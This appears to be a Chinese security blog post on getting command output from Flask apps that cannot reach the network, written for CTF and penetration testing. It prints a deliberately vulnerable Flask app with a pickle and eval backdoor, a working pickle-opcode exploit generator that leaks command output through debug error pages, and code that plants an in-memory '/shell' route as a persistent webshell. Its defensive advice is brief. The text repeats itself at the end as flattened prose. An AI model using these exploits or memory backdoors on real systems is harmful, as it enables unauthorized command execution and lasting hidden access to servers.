flask不出网回显方式
字数 1112 2025-08-03 16:50:22

Flask不出网环境下的回显技术研究

前言

在CTF比赛或渗透测试中,当遇到Flask应用且目标机器不出网时,如何获取命令执行后的回显是一个常见问题。本文详细分析两种有效的回显方式:debug模式下的报错回显和非debug模式下的内存马技术。

环境背景

示例Flask应用关键代码:

from flask import Flask, request, session, render_template_string, url_for, redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
    info = request.args.get('name', '')
    if info is not '':
        x = base64.b64decode(info)
        User = restricted_loads(x)
    return render_template_string('Hello')

config.py内容:

notadmin = {"admin": "no"}

def backdoor(cmd):
    if notadmin["admin"] == "yes":
        s = ''.join(cmd)
        eval(s)

方法一:debug模式下利用报错回显

原理

当Flask应用开启debug模式时,任何未捕获的异常都会在页面上显示详细的错误信息,包括异常消息内容。

利用步骤

  1. 构造payload通过Exception抛出命令执行结果
  2. 由于eval不能直接执行Python语句,需要通过eval调用exec
  3. 通过pickle反序列化触发backdoor函数执行

示例exp代码

from base64 import b64encode
from urllib.parse import quote

def base64_encode(s: str, encoding='utf-8') -> str:
    return b64encode(s.encode()).decode(encoding=encoding)

exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode(exc).encode()

opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % (exc)

print(quote(b64encode(opcode).decode()))

关键点

  • 使用raise Exception()包裹命令执行结果
  • 通过base64编码避免特殊字符问题
  • 利用pickle反序列化设置notadmin["admin"] = "yes"绕过权限检查

方法二:非debug模式下利用内存马

原理

通过修改Flask应用的运行时内存,添加新的路由作为后门,实现命令执行和回显。

获取当前app对象的方法

直接import获取的app对象与运行中的app不同:

import sys
import app
app1 = sys.modules['__main__'].__dict__['app']  # 运行中的app
app2 = app.app  # 新导入的app
print(id(app1), id(app2))  # 输出不同的ID

正确方法是通过sys.modules['__main__']获取当前模块中的app对象。

添加内存马步骤

  1. 关闭debug模式避免报错
  2. 使用add_url_rule添加新路由
  3. 在新路由的处理函数中执行命令并返回结果

示例代码

import sys
sys.modules['__main__'].__dict__['app'].debug = False
sys.modules['__main__'].__dict__['app'].add_url_rule(
    '/shell', 
    'shell', 
    lambda :__import__('os').popen('dir').read()
)

注意事项

  • 必须在非debug模式下操作,否则会触发"View function mapping is overwriting an existing endpoint function"错误
  • 添加的路由对所有请求都有效,直到应用重启
  • 可以通过访问/shell路径获取命令执行结果

总结对比

方法 适用场景 优点 缺点
debug报错回显 debug模式开启 实现简单,无需持久化 依赖debug模式,可能暴露敏感信息
内存马技术 非debug环境 持久化后门,可重复使用 实现较复杂,需要了解Flask内部机制

防御建议

  1. 生产环境务必关闭debug模式
  2. 对pickle反序列化进行严格限制
  3. 监控Flask应用的路由变化
  4. 使用WAF拦截可疑的pickle payload

这两种技术不仅适用于CTF比赛,在真实世界的渗透测试中也有实用价值,理解其原理有助于开发更安全的Flask应用。

Flask不出网环境下的回显技术研究 前言 在CTF比赛或渗透测试中,当遇到Flask应用且目标机器不出网时,如何获取命令执行后的回显是一个常见问题。本文详细分析两种有效的回显方式:debug模式下的报错回显和非debug模式下的内存马技术。 环境背景 示例Flask应用关键代码: config.py内容: 方法一:debug模式下利用报错回显 原理 当Flask应用开启debug模式时,任何未捕获的异常都会在页面上显示详细的错误信息,包括异常消息内容。 利用步骤 构造payload通过Exception抛出命令执行结果 由于eval不能直接执行Python语句,需要通过eval调用exec 通过pickle反序列化触发backdoor函数执行 示例exp代码 关键点 使用 raise Exception() 包裹命令执行结果 通过base64编码避免特殊字符问题 利用pickle反序列化设置 notadmin["admin"] = "yes" 绕过权限检查 方法二:非debug模式下利用内存马 原理 通过修改Flask应用的运行时内存,添加新的路由作为后门,实现命令执行和回显。 获取当前app对象的方法 直接import获取的app对象与运行中的app不同: 正确方法是通过 sys.modules['__main__'] 获取当前模块中的app对象。 添加内存马步骤 关闭debug模式避免报错 使用add_ url_ rule添加新路由 在新路由的处理函数中执行命令并返回结果 示例代码 注意事项 必须在非debug模式下操作,否则会触发"View function mapping is overwriting an existing endpoint function"错误 添加的路由对所有请求都有效,直到应用重启 可以通过访问 /shell 路径获取命令执行结果 总结对比 | 方法 | 适用场景 | 优点 | 缺点 | |------|---------|------|------| | debug报错回显 | debug模式开启 | 实现简单,无需持久化 | 依赖debug模式,可能暴露敏感信息 | | 内存马技术 | 非debug环境 | 持久化后门,可重复使用 | 实现较复杂,需要了解Flask内部机制 | 防御建议 生产环境务必关闭debug模式 对pickle反序列化进行严格限制 监控Flask应用的路由变化 使用WAF拦截可疑的pickle payload 这两种技术不仅适用于CTF比赛,在真实世界的渗透测试中也有实用价值,理解其原理有助于开发更安全的Flask应用。